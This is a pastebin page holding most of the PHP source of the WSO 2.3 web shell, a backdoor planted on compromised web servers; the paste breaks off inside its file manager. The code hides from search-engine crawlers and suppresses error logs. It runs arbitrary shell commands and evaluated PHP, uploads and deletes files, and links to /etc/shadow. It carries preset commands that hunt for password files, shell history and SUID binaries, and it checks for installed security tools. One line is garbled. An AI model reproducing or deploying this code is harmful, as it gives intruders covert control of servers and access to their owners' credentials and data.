Don't like ads? PRO users don't see any ads ;-)
Guest

Untitled

By: a guest on May 7th, 2012  |  syntax: None  |  size: 61.02 KB  |  hits: 21  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
  2.     $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  3.     foreach($userAgents as $agent)
  4.         if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
  5.             header('HTTP/1.0 404 Not Found');
  6.             exit;
  7.         }
  8. }
  9. @session_start();
  10. @error_reporting(0);
  11. @ini_set('error_log',NULL);
  12. @ini_set('log_errors',0);
  13. @ini_set('max_execution_time',0);
  14. @set_time_limit(0);
  15. @set_magic_quotes_runtime(0);
  16. @define('VERSION', '2.3');
  17. if( get_magic_quotes_gpc() ) {
  18.         function WSOstripslashes($array) {
  19.                 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  20.         }
  21.         $_POST = WSOstripslashes($_POST);
  22. }
  23. function wsoLogin() {
  24.         die("<center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></center>");
  25. }
  26. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  27.         if( empty( $auth_pass ) ||
  28.                 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  29.                 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  30.         else
  31.                 wsoLogin();
  32.  
  33. if( strtolower( substr(PHP_OS,0,3) ) == "win" )
  34.         $os = 'win';
  35. else
  36.         $os = 'nix';
  37. $safe_mode = @ini_get('safe_mode');
  38. $disable_functions = @ini_get('disable_functions');
  39. $home_cwd = @getcwd();
  40. if( isset( $_POST['c'] ) )
  41.         @chdir($_POST['c']);
  42. $cwd = @getcwd();
  43. if( $os == 'win') {
  44.         $home_cwd = str_replace("\\", "/", $home_cwd);
  45.         $cwd = str_replace("\\", "/", $cwd);
  46. }
  47. if( $cwd[strlen($cwd)-1] != '/' )
  48.         $cwd .= '/';
  49.  
  50. if($os == 'win')
  51.         $aliases = array(
  52.                 "List Directory" => "dir",
  53.         "Find index.php in current dir" => "dir /s /w /b index.php",
  54.         "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  55.         "Show active connections" => "netstat -an",
  56.         "Show running services" => "net start",
  57.         "User accounts" => "net user",
  58.         "Show computers" => "net view",
  59.                 "ARP Table" => "arp -a",
  60.                 "IP Configuration" => "ipconfig /all"
  61.         );
  62. else
  63.         $aliases = array(
  64.                 "List dir" => "ls -lha",
  65.                 "list file attributes on a Linux second extended file system" => "lsattr -va",
  66.                 "show opened ports" => "netstat -an | grep -i listen",
  67.                 "Find" => "",
  68.                 "find all suid files" => "find / -type f -perm -04000 -ls",
  69.                 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  70.                 "find all sgid files" => "find / -type f -perm -02000 -ls",
  71.                 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  72.                 "find config.inc.php files" => "find / -type f -name config.inc.php",
  73.                 "find config* files" => "find / -type f -name \"config*\"",
  74.                 "find config* files in current dir" => "find . -type f -name \"config*\"",
  75.                 "find all writable folders and files" => "find / -perm -2 -ls",
  76.                 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  77.                 "find all service.pwd files" => "find / -type f -name service.pwd",
  78.                 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  79.                 "find all .htpasswd files" => "find / -type f -name .htpasswd",
  80.                 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  81.                 "find all .bash_history files" => "find / -type f -name .bash_history",
  82.                 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  83.                 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  84.                 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  85.                 "Locate" => "",
  86.                 "locate httpd.conf files" => "locate httpd.conf",
  87.                 "locate vhosts.conf files" => "locate vhosts.conf",
  88.                 "locate proftpd.conf files" => "locate proftpd.conf",
  89.                 "locate psybnc.conf files" => "locate psybnc.conf",
  90.                 "locate my.conf files" => "locate my.conf",
  91.                 "locate admin.php files" =>"locate admin.php",
  92.                 "locate cfg.php files" => "locate cfg.php",
  93.                 "locate conf.php files" => "locate conf.php",
  94.                 "locate config.dat files" => "locate config.dat",
  95.                 "locate config.php files" => "locate config.php",
  96.                 "locate config.inc files" => "locate config.inc",
  97.                 "locate config.inc.php" => "locate config.inc.php",
  98.                 "locate config.default.php files" => "locate config.default.php",
  99.                 "locate config* files " => "locate config",
  100.                 "locate .conf files"=>"locate '.conf'",
  101.                 "locate .pwd files" => "locate '.pwd'",
  102.                 "locate .sql files" => "locate '.sql'",
  103.                 "locate .htpasswd files" => "locate '.htpasswd'",
  104.                 "locate .bash_history files" => "locate '.bash_history'",
  105.                 "locate .mysql_history files" => "locate '.mysql_history'",
  106.                 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  107.                 "locate backup files" => "locate backup",
  108.                 "locate dump files" => "locate dump",
  109.                 "locate priv files" => "locate priv"
  110.         );
  111.  
  112. function wsoHeader() {
  113.         if(empty($_POST['charset']))
  114.                 $_POST['charset'] = $GLOBALS['default_charset'];
  115.         global $color;
  116.         echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "- WSO " . VERSION ."</title>
  117. <style>
  118. body{background-color:#444;color:#e1e1e1;}
  119. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  120. table.info{ color:#fff;background-color:#222; }
  121. span,h1,a{ color: $color !important; }
  122. span{ font-weight: bolder; }
  123. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  124. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  125. a{ text-decoration:none; }
  126. a:hover{ text-decoration:underline; }
  127. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  128. .bigarea{ width:100%;height:250px; }
  129. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  130. form{ margin:0px; }
  131. #toolsTbl{ text-align:center; }
  132. .toolsInp{ width: 300px }
  133. .main th{text-align:left;background-color:#5e5e5e;}
  134. .main tr:hover{background-color:#5e5e5e}
  135. .l1{background-color:#444}
  136. pre{font-family:Courier,Monospace;}
  137. </style>
  138. <script>
  139.     var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  140.     var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  141.     var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  142.     var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':addslashes(htmlspecialchars($_POST['p1']))) ."';
  143.     var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p2']))) ."';
  144.     var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p3']))) ."';
  145.         function set(a,c,p1,p2,p3,charset) {
  146.                 if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
  147.                 if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
  148.                 if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
  149.                 if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
  150.                 if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
  151.                 if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
  152.         }
  153.         function g(a,c,p1,p2,p3,charset) {
  154.                 set(a,c,p1,p2,p3,charset);
  155.                 document.mf.submit();
  156.         }
  157.         function a(a,c,p1,p2,p3,charset) {
  158.                 set(a,c,p1,p2,p3,charset);
  159.                 var params = 'ajax=true';
  160.                 for(i=0;i<document.mf.elements.length;i++)
  161.                         params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
  162.                 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  163.         }
  164.         function sr(url, params) {
  165.                 if (window.XMLHttpRequest)
  166.                         req = new XMLHttpRequest();
  167.                 else if (window.ActiveXObject)
  168.                         req = new ActiveXObject('Microsoft.XMLHTTP');
  169.         if (req) {
  170.             req.onreadystatechange = processReqChange;
  171.             req.open('POST', url, true);
  172.             req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  173.             req.send(params);
  174.         }
  175.         }
  176.         function processReqChange() {
  177.                 if( (req.readyState == 4) )
  178.                         if(req.status == 200) {
  179.                                 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  180.                                 var arr=reg.exec(req.responseText);
  181.                                 eval(arr[2].substr(0, arr[1]));
  182.                         } else alert('Request error!');
  183.         }
  184. </script>
  185. <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
  186. <form method=post name=mf style='display:none;'>
  187. <input type=hidden name=a>
  188. <input type=hidden name=c>
  189. <input type=hidden name=p1>
  190. <input type=hidden name=p2>
  191. <input type=hidden name=p3>
  192. <input type=hidden name=charset>
  193. </form>";
  194.         $freeSpace = @diskfreespace($GLOBALS['cwd']);
  195.         $totalSpace = @disk_total_space($GLOBALS['cwd']);
  196.         $totalSpace = $totalSpace?$totalSpace:1;
  197.         $release = @php_uname('r');
  198.         $kernel = @php_uname('s');
  199.         $millink = 'http://milw0rm.com/search.php?dong=';
  200.         if( strpos('Linux', $kernel) !== false )
  201.                 $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
  202.         else
  203.                 $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
  204.         if(!function_exists('posix_getegid')) {
  205.                 $user = @get_current_user();
  206.                 $uid = @getmyuid();
  207.                 $gid = @getmygid();
  208.                 $group = "?";
  209.         } else {
  210.                 $uid = @posix_getpwuid(@posix_geteuid());
  211.                 $gid = @posix_getgrgid(@posix_getegid());
  212.                 $user = $uid['name'];
  213.                 $uid = $uid['uid'];
  214.                 $group = $gid['name'];
  215.                 $gid = $gid['gid'];
  216.         }
  217.         $cwd_links = '';
  218.         $path = explode("/", $GLOBALS['cwd']);
  219.         $n=count($path);
  220.         for($i=0;$i<$n-1;$i++) {
  221.                 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  222.  
  223.                 for($j=0;$j<=$i;$j++)
  224.  
  225.                         $cwd_links .= $path[$j].';/'$cwd_links
  226.  
  227.                 . )'= "">".$path[$i]."/</a>";
  228.         }
  229.         $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  230.         $opt_charsets = '';
  231.         foreach($charsets as $item)
  232.                 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  233.         $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
  234.         if(!empty($GLOBALS['auth_pass']))
  235.                 $m['Logout'] = 'Logout';
  236.         $m['Self remove'] = 'SelfRemove';
  237.         $menu = '';
  238.         foreach($m as $k => $v)
  239.                 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  240.         $drives = "";
  241.         if ($GLOBALS['os'] == 'win') {
  242.                 foreach( range('c','z') as $drive )
  243.                 if (is_dir($drive.':\\'))
  244.                         $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  245.         }
  246.         echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
  247.                  '<td><nobr>'.substr(@php_uname(), 0, 120).'  <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.wsoViewSize($totalSpace).' <span>Free:</span> '.wsoViewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.wsoPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
  248.                  '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"].'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
  249.                  '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
  250. }
  251.  
  252. function wsoFooter() {
  253.         $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
  254.     echo "
  255. </div>
  256. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  257.         <tr>
  258.                 <td><form onsubmit='g(null,this.c.value);return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
  259.                 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  260.         </tr><tr>
  261.                 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span><br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form>$is_writable</td>
  262.                 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form>$is_writable</td>
  263.         </tr><tr>
  264.                 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
  265.                 <td><form method='post' ENCTYPE='multipart/form-data'>
  266.                 <input type=hidden name=a value='FilesMAn'>
  267.                 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  268.                 <input type=hidden name=p1 value='uploadFile'>
  269.                 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  270.                 <span>Upload file:</span><br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form>$is_writable</td>
  271.         </tr></table></div></body></html>";
  272. }
  273.  
  274. if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
  275. if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
  276. function wsoEx($in) {
  277.         $out = '';
  278.         if(function_exists('exec')) {
  279.                 @exec($in,$out);
  280.                 $out = @join("\n",$out);
  281.         }elseif(function_exists('passthru')) {
  282.                 ob_start();
  283.                 @passthru($in);
  284.                 $out = ob_get_clean();
  285.         }elseif(function_exists('system')) {
  286.                 ob_start();
  287.                 @system($in);
  288.                 $out = ob_get_clean();
  289.         }elseif(function_exists('shell_exec')) {
  290.                 $out = shell_exec($in);
  291.         }elseif(is_resource($f = @popen($in,"r"))) {
  292.                 $out = "";
  293.                 while(!@feof($f))
  294.                         $out .= fread($f,1024);
  295.                 pclose($f);
  296.         }
  297.         return $out;
  298. }
  299. function wsoViewSize($s) {
  300.         if($s >= 1073741824)
  301.                 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  302.         elseif($s >= 1048576)
  303.                 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  304.         elseif($s >= 1024)
  305.                 return sprintf('%1.2f', $s / 1024 ) . ' KB';
  306.         else
  307.                 return $s . ' B';
  308. }
  309.  
  310. function wsoPerms($p) {
  311.         if (($p & 0xC000) == 0xC000)$i = 's';
  312.         elseif (($p & 0xA000) == 0xA000)$i = 'l';
  313.         elseif (($p & 0x8000) == 0x8000)$i = '-';
  314.         elseif (($p & 0x6000) == 0x6000)$i = 'b';
  315.         elseif (($p & 0x4000) == 0x4000)$i = 'd';
  316.         elseif (($p & 0x2000) == 0x2000)$i = 'c';
  317.         elseif (($p & 0x1000) == 0x1000)$i = 'p';
  318.         else $i = 'u';
  319.         $i .= (($p & 0x0100) ? 'r' : '-');
  320.         $i .= (($p & 0x0080) ? 'w' : '-');
  321.         $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  322.         $i .= (($p & 0x0020) ? 'r' : '-');
  323.         $i .= (($p & 0x0010) ? 'w' : '-');
  324.         $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  325.         $i .= (($p & 0x0004) ? 'r' : '-');
  326.         $i .= (($p & 0x0002) ? 'w' : '-');
  327.         $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  328.         return $i;
  329. }
  330. function wsoPermsColor($f) {
  331.         if (!@is_readable($f))
  332.                 return '<font color=#FF0000>'.wsoPerms(@fileperms($f)).'</font>';
  333.         elseif (!@is_writable($f))
  334.                 return '<font color=white>'.wsoPerms(@fileperms($f)).'</font>';
  335.         else
  336.                 return '<font color=#00BB00>'.wsoPerms(@fileperms($f)).'</font>';
  337. }
  338. if(!function_exists("scandir")) {
  339.         function scandir($dir) {
  340.                 $dh  = opendir($dir);
  341.                 while (false !== ($filename = readdir($dh))) {
  342.                 $files[] = $filename;
  343.                 }
  344.                 return $files;
  345.         }
  346. }
  347. function wsoWhich($p) {
  348.         $path = wsoEx('which '.$p);
  349.         if(!empty($path))
  350.                 return $path;
  351.         return false;
  352. }
  353. function actionSecInfo() {
  354.         wsoHeader();
  355.         echo '<h1>Server security information</h1><div class=content>';
  356.         function wsoSecParam($n, $v) {
  357.                 $v = trim($v);
  358.                 if($v) {
  359.                         echo '<span>'.$n.': </span>';
  360.                         if(strpos($v, "\n") === false)
  361.                                 echo $v.'<br>';
  362.                         else
  363.                                 echo '<pre class=ml1>'.$v.'</pre>';
  364.                 }
  365.         }
  366.  
  367.         wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  368.         wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  369.         wsoSecParam('Open base dir', @ini_get('open_basedir'));
  370.         wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  371.         wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  372.         wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  373.         $temp=array();
  374.         if(function_exists('mysql_get_client_info'))
  375.                 $temp[] = "MySql (".mysql_get_client_info().")";
  376.         if(function_exists('mssql_connect'))
  377.                 $temp[] = "MSSQL";
  378.         if(function_exists('pg_connect'))
  379.                 $temp[] = "PostgreSQL";
  380.         if(function_exists('oci_connect'))
  381.                 $temp[] = "Oracle";
  382.         wsoSecParam('Supported databases', implode(', ', $temp));
  383.         echo '<br>';
  384.  
  385.         if( $GLOBALS['os'] == 'nix' ) {
  386.                 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  387.                 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  388.                 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  389.                 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  390.                 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  391.                 wsoSecParam('OS version', @file_get_contents('/proc/version'));
  392.                 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  393.                 if(!$GLOBALS['safe_mode']) {
  394.                         echo '<br>';
  395.                         $temp=array();
  396.                         foreach ($userful as $item)
  397.                                 if(wsoWhich($item)){$temp[]=$item;}
  398.                         wsoSecParam('Userful', implode(', ',$temp));
  399.                         $temp=array();
  400.                         foreach ($danger as $item)
  401.                                 if(wsoWhich($item)){$temp[]=$item;}
  402.                         wsoSecParam('Danger', implode(', ',$temp));
  403.                         $temp=array();
  404.                         foreach ($downloaders as $item)
  405.                                 if(wsoWhich($item)){$temp[]=$item;}
  406.                         wsoSecParam('Downloaders', implode(', ',$temp));
  407.                         echo '<br/>';
  408.             wsoSecParam('HDD space', wsoEx('df -h'));
  409.                         wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
  410.                 }
  411.         } else {
  412.                 wsoSecParam('OS Version',wsoEx('ver'));
  413.                 wsoSecParam('Account Settings',wsoEx('net accounts'));
  414.                 wsoSecParam('User Accounts',wsoEx('net user'));
  415.         }
  416.         echo '</div>';
  417.         wsoFooter();
  418. }
  419.  
  420. function actionPhp() {
  421.         if( isset($_POST['ajax']) ) {
  422.                 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  423.                 ob_start();
  424.                 eval($_POST['p1']);
  425.                 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  426.                 echo strlen($temp), "\n", $temp;
  427.                 exit;
  428.         }
  429.         wsoHeader();
  430.         if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
  431.                 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
  432.                 ob_start();
  433.                 phpinfo();
  434.                 $tmp = ob_get_clean();
  435.         $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  436.                 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  437.                 echo str_replace('h1','h2',$tmp).'</div><br>';
  438.         }
  439.         if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  440.                 @$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  441.                 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  442.         echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  443.         if(!empty($_POST['p1'])) {
  444.                 ob_start();
  445.                 eval($_POST['p1']);
  446.                 echo htmlspecialchars(ob_get_clean());
  447.         }
  448.         echo '</pre></div>';
  449.         wsoFooter();
  450. }
  451.  
  452. function actionFilesMan() {
  453.         wsoHeader();
  454.         echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  455.         if(!empty($_POST['p1'])) {
  456.                 switch($_POST['p1']) {
  457.                         case 'uploadFile':
  458.                                 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  459.                                         echo "Can't upload file!";
  460.                                 break;
  461.                         case 'mkdir':
  462.                                 if(!@mkdir($_POST['p2']))
  463.                                         echo "Can't create new dir";
  464.                                 break;
  465.                         case 'delete':
  466.                                 function deleteDir($path) {
  467.                                         $path = (substr($path,-1)=='/') ? $path:$path.'/';
  468.                                         $dh  = opendir($path);
  469.                                         while ( ($item = readdir($dh) ) !== false) {
  470.                                                 $item = $path.$item;
  471.                                                 if ( (basename($item) == "..") || (basename($item) == ".") )
  472.                                                         continue;
  473.                                                 $type = filetype($item);
  474.                                                 if ($type == "dir")
  475.                                                         deleteDir($item);
  476.                                                 else
  477.                                                         @unlink($item);
  478.                                         }
  479.                                         closedir($dh);
  480.                                         rmdir($path);
  481.                                 }
  482.                                 if(is_array(@$_POST['f']))
  483.                                         foreach($_POST['f'] as $f) {
  484.                                                 $f = urldecode($f);
  485.                                                 if(is_dir($f))
  486.                                                         deleteDir($f);
  487.                                                 else
  488.                                                         @unlink($f);
  489.                                         }
  490.                                 break;
  491.                         case 'paste':
  492.                                 if($_SESSION['act'] == 'copy') {
  493.                                         function copy_paste($c,$s,$d){
  494.                                                 if(is_dir($c.$s)){
  495.                                                         mkdir($d.$s);
  496.                                                         $h = @opendir($c.$s);
  497.                                                         while (($f = @readdir($h)) !== false)
  498.                                                                 if (($f != ".") and ($f != "..")) {
  499.                                                                         copy_paste($c.$s.'/',$f, $d.$s.'/');
  500.                                                                 }
  501.                                                 } elseif(is_file($c.$s)) {
  502.                                                         @copy($c.$s, $d.$s);
  503.                                                 }
  504.                                         }
  505.                                         foreach($_SESSION['f'] as $f)
  506.                                                 copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
  507.                                 } elseif($_SESSION['act'] == 'move') {
  508.                                         function move_paste($c,$s,$d){
  509.                                                 if(is_dir($c.$s)){
  510.                                                         mkdir($d.$s);
  511.                                                         $h = @opendir($c.$s);
  512.                                                         while (($f = @readdir($h)) !== false)
  513.                                                                 if (($f != ".") and ($f != "..")) {
  514.                                                                         copy_paste($c.$s.'/',$f, $d.$s.'/');
  515.                                                                 }
  516.                                                 } elseif(@is_file($c.$s)) {
  517.                                                         @copy($c.$s, $d.$s);
  518.                                                 }
  519.                                         }
  520.                                         foreach($_SESSION['f'] as $f)
  521.                                                 @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
  522.                                 } elseif($_SESSION['act'] == 'zip') {
  523.                                         if(class_exists('ZipArchive')) {
  524.                         $zip = new ZipArchive();
  525.                         if ($zip->open('wso_'.date("Ymd_His").'.zip', (int)@eval('return ZIPARCHIVE::CREATE;'))) {
  526.                             chdir($_SESSION['c']);
  527.                             foreach($_SESSION['f'] as $f) {
  528.                                 if(@is_file($_SESSION['c'].$f))
  529.                                     $zip->addFile($_SESSION['c'].$f, $f);
  530.                                 elseif(@is_dir($_SESSION['c'].$f)) {
  531.                                     $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
  532.                                     foreach ($iterator as $key=>$value) {
  533.                                         $zip->addFile(realpath($key), $key);
  534.                                     }
  535.                                 }
  536.                             }
  537.                             chdir($GLOBALS['cwd']);
  538.                             $zip->close();
  539.                         }
  540.                     }
  541.                                 } elseif($_SESSION['act'] == 'unzip') {
  542.                                         if(class_exists('ZipArchive')) {
  543.                         $zip = new ZipArchive();
  544.                         foreach($_SESSION['f'] as $f) {
  545.                             if($zip->open($_SESSION['c'].$f)) {
  546.                                 $zip->extractTo($GLOBALS['cwd']);
  547.                                 $zip->close();
  548.                             }
  549.                         }
  550.                     }
  551.                                 }
  552.                                 unset($_SESSION['f']);
  553.                                 break;
  554.                         default:
  555.                                 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')||($_POST['p1'] == 'zip')||($_POST['p1'] == 'unzip')) ) {
  556.                                         $_SESSION['act'] = @$_POST['p1'];
  557.                                         $_SESSION['f'] = @$_POST['f'];
  558.                                         foreach($_SESSION['f'] as $k => $f)
  559.                                                 $_SESSION['f'][$k] = urldecode($f);
  560.                                         $_SESSION['c'] = @$_POST['c'];
  561.                                 }
  562.                                 break;
  563.                 }
  564.         }
  565.         $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  566.         if($dirContent === false) {     echo 'Can\'t open this folder!';wsoFooter(); return;    }
  567.         global $sort;
  568.         $sort = array('name', 1);
  569.         if(!empty($_POST['p1'])) {
  570.                 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  571.                         $sort = array($match[1], (int)$match[2]);
  572.         }
  573. echo "<script>
  574.         function sa() {
  575.                 for(i=0;i<document.files.elements.length;i++)
  576.                         if(document.files.elements[i].type == 'checkbox')
  577.                                 document.files.elements[i].checked = document.files.elements[0].checked;
  578.         }
  579. </script>
  580. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
